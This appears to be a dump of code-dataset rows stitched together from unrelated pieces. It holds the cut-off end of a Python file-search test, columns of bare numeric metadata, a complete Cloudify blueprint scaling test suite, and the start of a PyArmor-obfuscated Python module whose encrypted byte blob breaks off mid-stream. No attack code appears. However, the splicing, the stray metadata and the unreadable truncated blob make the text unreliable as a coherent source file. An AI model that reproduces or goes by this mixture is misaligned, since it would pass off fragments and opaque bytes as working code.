is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=True,
is_from_stdin=False), with_f_bwrite.name)
assert matched_file == {'file_matched': ''}
def test_match_f_for_str_using_specific_file(with_f_write):
with_f_write.write(
'sbiugz8gfzuftzdrdsrts5445tzzftfjguikhoizbtzctzztcuzoh\nsdf\na\n rghsf'
)
with_f_write.seek(0)
search_term = 'sdf'
is_search_line_by_line = False
matched_files = Searcher.run(
Searcher(
caller_dir='',
search_term=search_term,
specific_file=with_f_write.name,
is_recursive=False,
is_abs_path=False,
is_regex_pattern=False,
is_search_line_by_line=is_search_line_by_line,
is_from_stdin=False))
assert matched_files == [os.path.abspath(with_f_write.name)]
| 29.929461
| 79
| 0.651185
| 944
| 7,213
| 4.473517
| 0.070975
| 0.046176
| 0.073408
| 0.109875
| 0.883732
| 0.860526
| 0.840871
| 0.817192
| 0.806299
| 0.752782
| 0
| 0.005478
| 0.266047
| 7,213
| 240
| 80
| 30.054167
| 0.792218
| 0.002911
| 0
| 0.731579
| 0
| 0
| 0.048818
| 0.026287
| 0
| 0
| 0
| 0
| 0.1
| 1
| 0.063158
| false
| 0
| 0.010526
| 0
| 0.073684
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
33250bc4000f8c0ee85a0ca0c23db916fcc8f29e
| 29,463
|
py
|
Python
|
dsl_parser/tests/scaling/test_modify.py
|
opencm/cloudify-common-opencm
|
ce92f124277edfdcd9cbc46812f477961dd36020
|
[
"Apache-2.0"
] | 16
|
2015-08-06T07:26:09.000Z
|
2021-09-22T06:16:56.000Z
|
dsl_parser/tests/scaling/test_modify.py
|
opencm/cloudify-common-opencm
|
ce92f124277edfdcd9cbc46812f477961dd36020
|
[
"Apache-2.0"
] | 22
|
2015-09-01T07:20:43.000Z
|
2019-09-17T12:02:35.000Z
|
dsl_parser/tests/scaling/test_modify.py
|
opencm/cloudify-common-opencm
|
ce92f124277edfdcd9cbc46812f477961dd36020
|
[
"Apache-2.0"
] | 26
|
2015-01-21T17:14:27.000Z
|
2020-03-22T10:39:29.000Z
|
########
# Copyright (c) 2016 GigaSpaces Technologies Ltd. All rights reserved
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# * See the License for the specific language governing permissions and
# * limitations under the License.
from dsl_parser.tests import scaling
class TestMultiInstanceModify(scaling.BaseTestMultiInstance):
def test_modified_single_node_added(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 2}
})
self._assert_modification(modification, 1, 0, 1, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
for instance in added_and_related:
self.assertEqual('host', instance['name'])
self.assertIn('host_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
def test_modified_single_no_actual_modification(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 1}
})
self._assert_modification(modification, 0, 0, 0, 0)
def test_modified_single_node_removed(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 1}
})
self._assert_modification(modification, 0, 1, 0, 1)
self._assert_removed_in_previous(plan, modification)
def test_modified_single_node_added_with_child_contained_in_1(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 2}
})
self._assert_modification(modification, 2, 0, 2, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host_nodes = self._nodes_by_name(added_and_related, 'host')
self.assertEqual(1, len(host_nodes))
for instance in host_nodes:
self.assertEqual('host', instance['name'])
self.assertIn('host_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(1, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
def test_modified_single_node_removed_with_child_contained_in_1(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 1}
})
self._assert_modification(modification, 0, 2, 0, 2)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host_nodes = self._nodes_by_name(removed_and_related, 'host')
self.assertEqual(1, len(host_nodes))
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(1, len(db_nodes))
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
self._assert_each_node_valid_hosted(db_nodes, host_nodes)
def test_modified_single_node_added_with_child_contained_in_2(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'db': {'instances': 2}
})
self._assert_modification(modification, 2, 0, 1, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host_nodes = self._nodes_by_name(added_and_related, 'host')
self.assertEqual(1, len(host_nodes))
for instance in host_nodes:
self.assertEqual('host', instance['name'])
self.assertIn('host_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(1, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
def test_modified_single_node_removed_with_child_contained_in_2(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'db': {'instances': 1}
})
self._assert_modification(modification, 0, 2, 0, 1)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host_nodes = self._nodes_by_name(removed_and_related, 'host')
self.assertEqual(1, len(host_nodes))
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(1, len(db_nodes))
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
self._assert_each_node_valid_hosted(db_nodes, host_nodes)
def test_modified_two_nodes_added_with_child_contained_in(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 2},
'db': {'instances': 2}
})
self._assert_modification(modification, 5, 0, 4, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host_nodes = self._nodes_by_name(added_and_related, 'host')
self.assertEqual(2, len(host_nodes))
for instance in host_nodes:
self.assertEqual('host', instance['name'])
self.assertIn('host_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(3, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
def test_modified_two_nodes_removed_with_child_contained_in(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host': {'instances': 1},
'db': {'instances': 1}
})
self._assert_modification(modification, 0, 5, 0, 4)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host_nodes = self._nodes_by_name(removed_and_related, 'host')
self.assertEqual(2, len(host_nodes))
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(3, len(db_nodes))
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host_nodes), 'host')
def test_modified_single_node_added_with_connected_1(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
host2:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host1': {'instances': 2}
})
self._assert_modification(modification, 3, 0, 2, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host1_nodes = self._nodes_by_name(added_and_related, 'host1')
host2_nodes = self._nodes_by_name(added_and_related, 'host2')
self.assertEqual(1, len(host1_nodes))
self.assertEqual(1, len(host2_nodes))
for i, host_nodes in enumerate([host1_nodes, host2_nodes], start=1):
for instance in host_nodes:
self.assertEqual('host{0}'.format(i), instance['name'])
self.assertIn('host{0}_'.format(i), instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(1, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host1_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host1_nodes), 'host1')
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_single_node_removed_with_connected_1(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
host2:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host1': {'instances': 1}
})
self._assert_modification(modification, 0, 5, 0, 3)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host1_nodes = self._nodes_by_name(removed_and_related, 'host1')
host2_nodes = self._nodes_by_name(removed_and_related, 'host2')
self.assertEqual(1, len(host1_nodes))
self.assertEqual(2, len(host2_nodes))
for i, host_nodes in enumerate([host1_nodes, host2_nodes], start=1):
for instance in host_nodes:
self.assertEqual('host{0}'.format(i), instance['name'])
self.assertIn('host{0}_'.format(i), instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(2, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host1_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host1_nodes), 'host1')
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_single_node_added_with_connected_2(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
host2:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host2': {'instances': 2}
})
self._assert_modification(modification, 2, 0, 1, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host2_nodes = self._nodes_by_name(added_and_related, 'host2')
self.assertEqual(1, len(host2_nodes))
for instance in host2_nodes:
self.assertEqual('host2', instance['name'])
self.assertIn('host2_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(1, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_single_node_removed_with_connected_2(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
host2:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'host2': {'instances': 1}
})
self._assert_modification(modification, 0, 5, 0, 1)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host2_nodes = self._nodes_by_name(removed_and_related, 'host2')
self.assertEqual(1, len(host2_nodes))
for instance in host2_nodes:
self.assertEqual('host2', instance['name'])
self.assertIn('host2_', instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(4, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_single_node_added_with_connected_3(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
host2:
type: cloudify.nodes.Compute
db:
type: db
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'db': {'instances': 2}
})
self._assert_modification(modification, 3, 0, 1, 0)
self._assert_added_not_in_previous(plan, modification)
added_and_related = modification['added_and_related']
host1_nodes = self._nodes_by_name(added_and_related, 'host1')
host2_nodes = self._nodes_by_name(added_and_related, 'host2')
self.assertEqual(1, len(host1_nodes))
self.assertEqual(1, len(host2_nodes))
for i, host_nodes in enumerate([host1_nodes, host2_nodes], start=1):
for instance in host_nodes:
self.assertEqual('host{0}'.format(i), instance['name'])
self.assertIn('host{0}_'.format(i), instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(1, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host1_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host1_nodes), 'host1')
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_single_node_removed_with_connected_3(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
host2:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 2
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(plan, {
'db': {'instances': 1}
})
self._assert_modification(modification, 0, 6, 0, 2)
self._assert_removed_in_previous(plan, modification)
removed_and_related = modification['removed_and_related']
host1_nodes = self._nodes_by_name(removed_and_related, 'host1')
host2_nodes = self._nodes_by_name(removed_and_related, 'host2')
self.assertEqual(2, len(host1_nodes))
self.assertEqual(2, len(host2_nodes))
for i, host_nodes in enumerate([host1_nodes, host2_nodes], start=1):
for instance in host_nodes:
self.assertEqual('host{0}'.format(i), instance['name'])
self.assertIn('host{0}_'.format(i), instance['id'])
self.assertEqual(instance['host_id'], instance['id'])
db_nodes = self._nodes_by_name(removed_and_related, 'db')
self.assertEqual(2, len(db_nodes))
for instance in db_nodes:
self.assertEqual('db', instance['name'])
self.assertIn('db_', instance['id'])
self._assert_each_node_valid_hosted(db_nodes, host1_nodes)
self._assert_contained(self._nodes_relationships(db_nodes),
self._node_ids(host1_nodes), 'host1')
self._assert_all_to_all([node['relationships'] for node in db_nodes],
self._node_ids(host2_nodes), 'host2')
def test_modified_added_with_connected_all_to_one(self):
yaml = self.BASE_BLUEPRINT + """
host1:
type: cloudify.nodes.Compute
host2:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 5
db:
type: db
capabilities:
scalable:
properties:
default_instances: 5
relationships:
- type: cloudify.relationships.contained_in
target: host1
- type: cloudify.relationships.connected_to
target: host2
properties:
connection_type: all_to_one
"""
plan = self.parse_multi(yaml)
node_instances = plan['node_instances']
db_nodes = self._nodes_by_name(node_instances, 'db')
host2_nodes = self._nodes_by_name(node_instances, 'host2')
initial_target_id = self._assert_all_to_one(
self._nodes_relationships(db_nodes, 'host2'),
self._node_ids(host2_nodes),
'host2')
modification = self.modify_multi(plan, {
'host2': {'instances': 10},
'db': {'instances': 10}
})
self._assert_modification(modification, 12, 0, 10, 0)
added_and_related = modification['added_and_related']
added_db_nodes = self._nodes_by_name(added_and_related, 'db')
self.assertEqual(5, len(added_db_nodes))
added_host1_nodes = self._nodes_by_name(added_and_related, 'host1')
self.assertEqual(1, len(added_host1_nodes))
added_host2_nodes = self._nodes_by_name(added_and_related, 'host2')
self.assertEqual(6, len(added_host2_nodes))
new_target_id = self._assert_all_to_one(
self._nodes_relationships(added_db_nodes, 'host2'),
self._node_ids(host2_nodes + added_host2_nodes),
'host2')
self.assertEqual(initial_target_id, new_target_id)
def test_scale_out_from_zero_with_relationship(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 0
min_instances: 0
relationships:
- type: cloudify.relationships.connected_to
target: webserver
properties:
connection_type: all_to_one
webserver:
type: webserver
"""
plan = self.parse_multi(yaml)
modification = self.modify_multi(
plan, modified_nodes={'host': {'instances': 1}})
added = modification['added_and_related']
self.assertEqual(2, len(added))
def test_removed_ids_hint(self):
yaml = self.BASE_BLUEPRINT + """
host:
type: cloudify.nodes.Compute
capabilities:
scalable:
properties:
default_instances: 3
db:
type: db
capabilities:
scalable:
properties:
default_instances: 2
relationships:
- type: cloudify.relationships.contained_in
target: host
"""
plan = self.parse_multi(yaml)
nodes = plan['node_instances']
host_ids = self._node_ids(self._nodes_by_name(nodes, 'host'))
db_ids = self._node_ids(self._nodes_by_name(nodes, 'db'))
for host_id in host_ids:
modification = self.modify_multi(plan, {
'host': {
'instances': 2,
'removed_ids_include_hint': [host_id]
}
})
self._assert_modification(modification, 0, 3, 0, 3)
removed_host_ids = self._node_ids(self._nodes_by_name(
modification['removed_and_related'], 'host'))
self.assertEqual(removed_host_ids, [host_id])
for host_id in host_ids:
modification = self.modify_multi(plan, {
'host': {
'instances': 2,
'removed_ids_exclude_hint': [host_id]
}
})
self._assert_modification(modification, 0, 3, 0, 3)
removed_host_ids = self._node_ids(self._nodes_by_name(
modification['removed_and_related'], 'host'))
self.assertNotIn(host_id, removed_host_ids)
for db_id in db_ids:
modification = self.modify_multi(plan, {
'db': {
'instances': 1,
'removed_ids_include_hint': [db_id]
}
})
self._assert_modification(modification, 0, 6, 0, 3)
removed_db_ids = self._node_ids(self._nodes_by_name(
modification['removed_and_related'], 'db'))
self.assertIn(db_id, removed_db_ids)
for db_id in db_ids:
modification = self.modify_multi(plan, {
'db': {
'instances': 1,
'removed_ids_exclude_hint': [db_id]
}
})
self._assert_modification(modification, 0, 6, 0, 3)
removed_db_ids = self._node_ids(self._nodes_by_name(
modification['removed_and_related'], 'db'))
self.assertNotIn(db_id, removed_db_ids)
# give all nodes as include hint to see we only take what is needed
modification = self.modify_multi(plan, {
'db': {
'instances': 1,
'removed_ids_include_hint': db_ids
}
})
self._assert_modification(modification, 0, 6, 0, 3)
# give all nodes as exclude hint to see we still take what is needed
modification = self.modify_multi(plan, {
'db': {
'instances': 1,
'removed_ids_exclude_hint': db_ids
}
})
self._assert_modification(modification, 0, 6, 0, 3)
def _test_base_nodes(self):
return self.BASE_BLUEPRINT + """
without_rel:
type: type
with_rel:
type: type
"""
def test_new_node(self):
blueprint = self._test_base_nodes()
plan = self.parse_multi(blueprint)
plan['nodes'].append({
'name': 'new_node',
'id': 'new_node',
'type': 'new_type',
'number_of_instances': 1,
'deploy_number_of_instances': 1,
'min_number_of_instances': 1,
'max_number_of_instances': 1,
})
new_node = [n for n in plan['nodes'] if n['id'] == 'new_node'][0]
modified_nodes = [new_node]
self.modify_multi(plan, modified_nodes=modified_nodes)
def test_new_relationship(self):
blueprint = self._test_base_nodes()
connected_to = 'cloudify.relationships.connected_to'
rel_type = connected_to
plan = self.parse_multi(blueprint)
with_rel = [n for n in plan['nodes'] if n['id'] == 'with_rel'][0]
without_rel = [n for n in plan['nodes'] if n['id'] == 'without_rel'][0]
with_rel['relationships'] = \
[{'type': rel_type,
'type_hierarchy': [rel_type],
'target_id': without_rel['id'],
'source_interface': {
'cloudify.interfaces.relationship_lifecycle': {
'preconfigure': 'scripts/increment.sh',
'establish': 'scripts/increment.sh',
'postconfigure': 'scripts/increment.sh'
}
},
'properties': {
'connection_type': 'all_to_all'
}}]
modified_nodes = [with_rel]
self.modify_multi(plan, modified_nodes=modified_nodes)
| 39.976934
| 79
| 0.592811
| 3,224
| 29,463
| 5.087469
| 0.055211
| 0.044446
| 0.028167
| 0.035666
| 0.887331
| 0.87471
| 0.858493
| 0.846299
| 0.830752
| 0.814413
| 0
| 0.015765
| 0.304619
| 29,463
| 736
| 80
| 40.03125
| 0.784801
| 0.025116
| 0
| 0.817251
| 0
| 0
| 0.288233
| 0.056204
| 0
| 0
| 0
| 0
| 0.214912
| 1
| 0.030702
| false
| 0
| 0.001462
| 0.001462
| 0.035088
| 0.005848
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
336436dcf38856112a21d26f71697e4c8fcd32ec
| 127,747
|
py
|
Python
|
skinner/utils.py
|
AKEric/skinner
|
444981d66f0ee0fba2d016dc3594ab5effca2ca5
|
[
"CC-BY-4.0"
] | 63
|
2021-12-01T07:06:40.000Z
|
2022-03-10T16:40:59.000Z
|
skinner/utils.py
|
AKEric/skinner
|
444981d66f0ee0fba2d016dc3594ab5effca2ca5
|
[
"CC-BY-4.0"
] | 1
|
2022-03-25T19:13:57.000Z
|
2022-03-25T20:04:28.000Z
|
skinner/utils.py
|
AKEric/skinner
|
444981d66f0ee0fba2d016dc3594ab5effca2ca5
|
[
"CC-BY-4.0"
] | 4
|
2021-12-03T02:07:01.000Z
|
2022-02-03T20:02:52.000Z
|
__pyarmor__(__name__, __file__, b'\x50\x59\x41\x52\x4d\x4f\x52\x00\x00\x03\x07\x00\x42\x0d\x0d\x0a\x08\x2d\xa0\x01\x00\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00\x77\x7c\x00\x00\x00\x00\x00\x10\xf2\x19\x5b\x02\x30\x6c\x75\xec\x66\x61\x9f\x1f\x94\x2c\xf0\x46\x00\x00\x00\x00\x00\x00\x00\x00\xcb\xdd\xa8\x75\xe7\x63\xa2\xdb\xc5\x3a\xe1\xf7\xdb\x90\xa2\x0a\x35\xf4\x2f\x29\xd1\x40\x26\x59\xef\x4f\xbd\xf2\x58\x73\xff\x3a\xf4\xa3\x43\x91\xc2\xaa\xba\x97\x28\x7b\xcd\x90\x6f\xf6\x5b\xea\xf8\xcf\xac\x76\x56\x5f\x88\x2a\x21\x88\x73\x51\xff\xc0\x1a\x44\x9f\xb9\x42\x5b\xe0\x1d\x8d\x8b\xbc\x0b\xb6\x9c\x8e\x91\x86\x73\xc5\x7b\x63\x74\x4a\x90\x22\x65\x70\x19\xa7\x9c\xa0\x0f\xc7\xd1\xa7\xe2\xb8\x42\x96\x13\xd1\xe9\xdb\xf5\xaf\xe1\xa1\x25\x68\xf6\x3b\xcd\x86\xbe\xf0\x7c\x1e\xed\x12\xfc\xc9\xf0\xa6\xeb\x76\x6a\xcb\xee\x4d\xf1\x8a\x5d\xca\x3c\x4f\x2d\xae\x76\xcc\x60\x74\xc5\x5e\xca\xc6\x4a\xa1\x92\x6f\xfa\x82\xb7\x22\x0f\x7a\x54\xa6\x39\x55\x1b\xaa\x41\xf1\xe0\x82\x6f\x1c\x26\xf9\x3b\xb7\xd1\xc3\x48\x42\xb7\x44\xaa\xf8\xbf\x63\xd2\xa8\xe5\xc2\xe5\xd2\x4a\x02\x78\x73\x4c\xd5\x68\x7a\x19\xa7\x74\xc8\x4a\xbe\xf6\xda\x94\x7a\xd1\xb0\xfd\x87\xb2\xe0\xab\x70\xab\xda\xd0\xef\x8f\x59\xda\x90\xb7\x42\xd8\xfb\x84\x4f\xdf\xea\x90\x86\x12\x67\x80\x28\xd3\x06\x13\x5c\xc7\x98\xfe\x55\x52\xbb\x31\xfc\x31\x27\x6c\xa0\x06\x12\xd2\xa0\xaa\xd6\x2d\x8e\x48\xf2\xd1\xdf\xa0\x73\x2a\xb7\x7c\xc4\x14\x33\x89\xbd\x35\xc3\x54\x66\x70\xf5\x31\xe6\xc7\x6b\x23\x82\x2d\xca\x79\xc2\xf8\x2d\x6e\x26\x65\xfc\x13\x8c\x7f\x8d\x89\xdc\x48\x50\xd4\x66\x52\xf1\xa6\xec\x7c\x11\x0c\x3d\x98\xc4\x7c\x19\x2f\x07\x30\x22\x87\x93\x0c\x48\x57\x23\x1d\xe6\xbf\xaf\xfe\xc0\xd2\x80\x90\x0c\x3d\xe3\x93\xce\x2d\x78\x73\xa1\x35\xac\x0c\xe9\x53\x0f\xc5\x55\x50\xf3\xef\xdc\xaf\x4d\xf7\x53\x74\x1e\xe7\xeb\x92\x86\xaf\x87\xb3\xe5\x72\xd6\x24\xb0\xb9\x33\x5f\x2a\xdb\x43\x8f\xba\x7c\x1b\xe5\x63\x5b\x97\x12\x19\x64\x99\x25\x18\xc2\xdc\x6c\x1b\xd7\x4b\x1b\x11\xc6\x36\x62\x07\x49\x91\x0f\x1e\xb3\x75\x23\x75\x47\xf3\x39\xb7\x75\x26\x7b\x3f\xc4\xeb\xf7\x67\x1c\x5d\xf0\xe5\x0f\x7d\x01\x8b\xc8\x11\x13\xd7\xa5\xe5\x14\x59\x86\x09\xaa\x99\x3d\x68\x48\xe9\xa6\x8b\xa9\x0f\x60\x12\xf0\x40\xe2\x2f\x3a\x3e\x5c\xf1\x2f\x4c\x04\x13\xc9\xda\xd0\x7f\xbe\x45\xaa\x57\x2c\x31\x7e\x4d\x82\xc6\x24\x9f\x87\x6a\x2b\x09\xb3\x83\x69\x8f\xb2\x97\xab\xc2\xbf\xc8\xf9\x15\xf0\x76\x83\xc2\x80\xf3\x5c\x43\x1d\x8d\x41\x72\xc4\xd9\x2a\xc8\xc2\xed\xf7\x6f\x9b\xf3\x8a\xed\xde\x34\xda\x32\x12\xd6\x9f\x15\xd7\x7f\x07\x30\x26\x90\x35\xd7\xb1\x01\x5e\x69\x0f\x01\x4d\x0b\x87\x46\xde\x03\x91\x43\xef\x14\x4e\xbb\x3b\x12\x61\xb6\x5d\x81\x54\x57\x1b\xff\x10\x4b\x96\x86\x79\xdc\x52\x2e\xa7\xa7\x24\x51\x3c\xb6\x8b\x40\x9c\xdb\xba\x8d\x8d\x2e\xe1\xe7\xb9\xee\xa5\x69\x95\x74\x42\x29\x0d\xdb\xa6\x7b\x21\x57\xea\x56\xdd\xf7\x92\x81\xc3\xab\x0b\x47\x0d\x9b\xcf\xbe\x2e\xe2\x06\xe5\x95\xce\x12\xe8\xca\x46\x01\xd8\x22\xad\x8f\xd0\x88\x4c\x81\xd8\x41\x9f\xae\x23\x48\xcf\x9d\x3e\x34\x1a\x83\xae\xf7\xe3\xf7\xd6\x35\xe9\x9e\x86\x5b\xec\xe3\x72\x6f\x3f\x02\xab\xdf\xc6\x36\x35\xc3\x23\x66\x22\x8b\x7d\xb7\x69\xca\x88\x27\x23\xdb\x44\x03\x58\xfa\x18\xe4\x09\x62\xa3\x43\x57\x9f\x2b\xa4\xfe\x41\x99\x25\xcb\x2a\x66\xe6\xd5\x36\x9f\x43\x55\xdd\xd9\xfd\x5c\xc6\xbf\x5a\x1e\x82\x60\x15\x00\x97\xc6\xe5\xa4\xd1\x40\x9b\x0d\x55\xd6\x59\x9d\x32\x4c\x01\x8d\x9d\x5b\x3e\xa1\x91\x16\x6b\x10\x81\x5d\xd1\x5d\x19\xb2\x88\xd7\x77\x0f\xe0\x1e\x5d\xb6\x9d\xe6\x14\x5e\x3f\x8a\xb5\xb1\x43\xbb\x57\x85\xbe\xc4\x04\x87\xae\x47\x10\xc9\x18\x7c\xfc\x0e\xda\xec\xcc\x